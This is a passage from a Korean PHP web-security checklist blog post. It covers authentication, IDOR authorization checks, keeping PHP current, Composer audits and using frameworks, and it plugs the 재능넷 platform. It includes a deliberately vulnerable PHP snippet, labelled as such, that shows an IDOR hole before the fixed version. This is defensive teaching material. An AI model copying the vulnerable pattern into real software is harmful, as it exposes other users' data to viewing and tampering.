    가장 안전한 방법은 **'시간제한이 있는 랜덤 토큰'**을 사용하는 거야. 사용자가 비밀번호 재설정을 요청하면, 유효 시간이 짧은(예: 1시간) 고유 토큰을 생성해서 이메일로 보내줘. 사용자는 그 이메일의 링크를 클릭해야만 새 비밀번호를 설정할 수 있게 하는 거지.

  • 2단계 인증(2FA/MFA) 도입:

    비밀번호가 유출되더라도 계정을 보호할 수 있는 가장 강력한 방법 중 하나야. 로그인 시 비밀번호 외에 사용자의 스마트폰으로 전송되는 OTP(일회용 비밀번호)나 인증 앱의 확인을 한 번 더 거치는 거지. 요즘은 선택이 아닌 필수가 되어가는 추세야.

4-2. 인가: 권한 없는 자, 접근 금지!

로그인에 성공했다고 해서 모든 걸 할 수 있게 해서는 안 돼. 사용자의 역할(Role)에 따라 접근할 수 있는 페이지와 기능을 엄격하게 통제해야 해. 이게 바로 인가(Authorization)야.

여기서 가장 흔하게 발생하는 취약점이 바로 **IDOR(Insecure Direct Object Reference, 안전하지 않은 직접 객체 참조)**야.

예를 들어, 사용자가 자신의 프로필을 수정하는 페이지의 URL이 `https://example.com/profile/edit?user_id=123` 이라고 해보자. 여기서 `user_id=123`은 현재 로그인한 사용자의 ID겠지. 그런데 만약 호기심 많은 사용자가 이 URL을 `.../edit?user_id=124`로 바꿔서 접속했는데, 124번 사용자의 프로필 수정 페이지가 떡하니 열린다면? 이게 바로 IDOR 취약점이야. 다른 사람의 정보를 마음대로 보고 수정할 수 있게 되는 거지.

IDOR 취약점이 있는 코드:

<?php
session_start();

// URL에서 user_id를 가져와서 그대로 사용한다.
$user_id_to_edit = $_GET['user_id']; 

// 현재 로그인한 사용자가 누구인지는 확인하지 않는다! (치명적 실수)
$user_data = fetch_user_from_db($user_id_to_edit);

// 그냥 폼을 보여준다.
show_edit_form($user_data);
?>

이걸 막으려면 어떻게 해야 할까? 간단해. **"이 작업을 요청한 사용자가 이 객체에 접근할 권한이 있는가?"**를 모든 요청마다 확인하면 돼.

액션 아이템:
중요한 데이터에 접근하거나 수정하는 모든 로직의 시작 부분에서, 현재 로그인한 사용자가 해당 작업을 수행할 권한이 있는지 반드시 확인해야 해.

IDOR을 방어하는 안전한 코드:

<?php
session_start();

// 먼저, 로그인 상태인지 확인
if (!isset($_SESSION['user_id'])) {
    die('로그인이 필요합니다.');
}

$current_user_id = $_SESSION['user_id']; // 현재 로그인한 사용자의 ID
$user_id_to_edit = $_GET['user_id'];     // 수정하려는 대상의 ID

// 핵심! 두 ID가 일치하는지 확인한다.
if ($current_user_id != $user_id_to_edit) {
    // 관리자(admin) 권한이 있는지도 추가로 체크할 수 있다.
    if (!is_admin($current_user_id)) {
        die('권한이 없습니다!');
    }
}

// 모든 검사를 통과했으므로 안전하게 데이터를 가져와서 폼을 보여준다.
$user_data = fetch_user_from_db($user_id_to_edit);
show_edit_form($user_data);
?>

이런 권한 확인 로직은 모든 페이지에 반복해서 넣기보다는, 프레임워크의 미들웨어나 공통 함수로 만들어서 재사용하는 게 훨씬 효율적이야.

Chapter 5. 최신 기술 스택과 의존성 관리: 트렌드를 놓치지 마!

보안은 창과 방패의 싸움이야. 새로운 공격 기법이 계속해서 등장하는 만큼, 우리의 방어 기술도 계속해서 발전해야 해. 구식 무기를 들고 최신예 전투기와 싸울 수는 없잖아? PHP 개발 환경도 마찬가지야.

5-1. PHP 버전, 최신으로 유지하기

가장 쉽고 효과적인 보안 강화 방법 중 하나는 **PHP 버전을 최신 안정 버전으로 유지**하는 거야. "지금 잘 돌아가는데 굳이 왜 업데이트를...?" 이라고 생각할 수 있지만, 이건 정말 중요한 문제야.

  • 보안 패치: PHP의 마이너 버전 릴리즈에는 이전 버전에서 발견된 보안 취약점에 대한 패치가 포함돼. 구버전 PHP를 쓴다는 건, 이미 알려진 보안 구멍을 그대로 방치하는 것과 같아.
  • 성능 향상: PHP는 버전이 올라갈수록 눈에 띄게 빨라져. PHP 7.x 버전이 5.x 버전에 비해 2배 이상 빨라졌고, PHP 8.x 버전은 JIT 컴파일러 도입 등으로 더 많은 성능 향상을 이뤘어. 보안뿐만 아니라 사용자 경험까지 좋아지는 거지.
  • 새로운 기능: 최신 버전에서는 더 간결하고 안전한 코드를 작성할 수 있게 도와주는 새로운 문법과 함수들이 추가돼. 예를 들어 `password_hash()` 같은 함수도 비교적 최신 버전에 추가된 기능이야.

지금 바로 터미널에 `php -v`를 쳐봐. 만약 `7.4` 미만 버전을 쓰고 있다면, 심각하게 업그레이드를 고려해야 해. `7.4`도 이미 보안 지원이 종료되었거든. 지금 당장 업그레이드 계획을 세우는 게 좋아.

5-2. Composer와 의존성 관리의 함정

현대 PHP 개발에서 **Composer**는 없어서는 안 될 필수 도구야. 외부 라이브러리(패키지)를 쉽게 설치하고 관리하게 해주지. Guzzle로 HTTP 요청을 보내고, Monolog로 로깅을 하고, PHPUnit으로 테스트를 하는 등 우리는 수많은 오픈소스 라이브러리의 도움을 받고 있어.

하지만 여기에도 함정이 있어. 내가 사용하는 라이브러리에 보안 취약점이 발견된다면? 내 애플리케이션도 똑같이 취약해지는 거야. 이걸 **'공급망 공격(Supply Chain Attack)'**의 일종으로 볼 수 있어.

그래서 의존성 패키지들을 항상 최신 상태로 유지하고, 알려진 취약점이 있는지 주기적으로 검사해야 해.

액션 아이템:
  1. `composer update`를 주기적으로 실행: `composer.json`에 정의된 버전 제약 조건 내에서 패키지들을 최신 버전으로 업데이트해줘.
  2. 보안 감사 도구 사용: 프로젝트 루트에서 `composer audit` 명령어를 실행해봐. 이 명령어는 현재 설치된 패키지들 중에 알려진 보안 취약점이 있는 버전이 있는지 검사하고 알려줘. GitHub에서는 Dependabot 같은 서비스를 통해 자동으로 이런 검사를 수행하고 PR까지 보내주니 꼭 활성화하는 걸 추천해.
# 프로젝트 디렉토리에서 실행
$ composer update

# 설치된 의존성에서 알려진 보안 취약점 스캔
$ composer audit

이런 도구들을 CI/CD 파이프라인에 통합하면, 새로운 코드가 배포되기 전에 자동으로 보안 검사를 수행할 수도 있어. 요즘 잘나가는 개발팀은 다 이렇게 일해!

5-3. 프레임워크, 거인의 어깨에 올라타기

만약 네가 맨땅에 헤딩하듯 순수 PHP(Vanilla PHP)로 모든 걸 만들고 있다면, 이 글에서 다룬 모든 보안 항목들을 네가 직접 구현하고 관리해야 해. 물론 훌륭한 학습 경험이 되겠지만, 시간도 많이 걸리고 실수할 가능성도 높아.

이럴 때 **라라벨(Laravel)**이나 **심포니(Symfony)** 같은 현대적인 PHP 프레임워크를 사용하는 건 아주 현명한 선택이야. 이런 메이저 프레임워크들은 이미 수많은 보안 전문가들의 검증을 거쳤고, 우리가 오늘 다룬 보안 기능 대부분을 기본적으로 내장하고 있거나 쉽게 구현할 수 있도록 도와줘.

  • SQL Injection: Eloquent(라라벨)나 Doctrine(심포니) 같은 ORM은 내부적으로 Prepared Statements를 사용해서 SQL Injection을 원천적으로 막아줘.
  • XSS: Blade(라라벨)나 Twig(심포니) 같은 템플릿 엔진은 기본적으로 출력되는 모든 변수를 자동으로 이스케이프 처리해줘서 XSS를 방지해.
  • CSRF: 모든 POST 폼에 CSRF 토큰을 자동으로 추가하고 검증하는 미들웨어가 기본으로 탑재되어 있어.
  • 보안 구조: 라우팅, 컨트롤러, 미들웨어 등으로 역할과 책임이 명확하게 분리된 구조는 권한 관리(인가) 로직을 체계적으로 구현하기에 아주 좋아.

물론 프레임워크가 모든 걸 해결해주는 마법 지팡이는 아니야. 개발자가 프레임워크의 보안 기능을 제대로 이해하고 올바르게 사용해야만 그 효과를 볼 수 있어. 하지만 보안에 대한 수많은 고민을 덜어주고, 개발자가 비즈니스 로직에 더 집중할 수 있게 해주는 강력한 아군인 건 분명해. 만약 새로운 프로젝트를 시작한다면, 프레임워크 도입을 적극적으로 검토해봐. 혼자서 모든 걸 해결하기 벅찰 때, **재능넷** 같은 플랫폼에서 경험 많은 프레임워크 전문가의 도움을 받는 것도 스마트한 방법일 수 있지.

마치며: 보안은 여정이다, 체크리스트는 너의 지도!

와, 정말 긴 여정이었지? 여기까지 스크롤을 내린 너 자신에게 박수를 보내줘. 넌 이제 어지간한 주니어 개발자보다 PHP 보안에 대해 훨씬 더 깊이 이해하게 됐을 거야.

오늘 우리가 함께 살펴본 체크리스트를 다시 한번 요약해볼까?

  • 기초 설정: 에러 노출 금지, PHP 버전 정보 숨기기, 위험한 함수 비활성화, 파일 권한 최소화.
  • 입력값 검증: XSS는 `htmlspecialchars()`로, SQL Injection은 Prepared Statements로, CSRF는 토큰으로!
  • 데이터 처리: 비밀번호는 `password_hash()`로, 파일 업로드는 겹겹의 방어막으로, 세션은 꼼꼼한 설정으로!
  • 인증/인가: 뚫리지 않는 로그인과 '내 것만' 건드릴 수 있는 권한 확인은 필수!
  • 최신 기술: PHP 버전과 라이브러리는 항상 최신으로, 프레임워크는 너의 든든한 방패로!

기억해야 할 가장 중요한 사실은, **보안은 한 번 설정하고 끝나는 이벤트가 아니라, 끊임없이 관리하고 개선해야 하는 프로세스**라는 거야. 새로운 취약점은 매일같이 발견되고, 공격자들은 항상 우리의 허점을 노리고 있어. 오늘 배운 내용들을 너의 프로젝트에 하나씩 적용해보고, 습관처럼 만드는 게 중요해.

이 체크리스트가 너의 코딩 여정에 든든한 나침반이 되길 바라. 이제 너의 코드는 그냥 '작동하는 코드'가 아니라, '안전하게 작동하는 코드'가 될 거야. 그게 바로 진정한 프로 개발자로 나아가는 첫걸음이지. 혹시라도 막히는 부분이 있거나 더 깊은 전문성이 필요하다면, 주저하지 말고 커뮤니티에 질문하거나 **재능넷** 같은 곳에서 보안 전문가의 자문을 구하는 용기를 내봐. 함께하면 더 멀리, 더 안전하게 갈 수 있으니까.

자, 이제 너의 에디터를 켜. 너의 코드를 지킬 시간이야. 화이팅!

댓글 작성

이 글에 대한 여러분의 생각을 들려주세요

댓글 0
댓글을 불러오는 중입니다.

아직 댓글이 없습니다.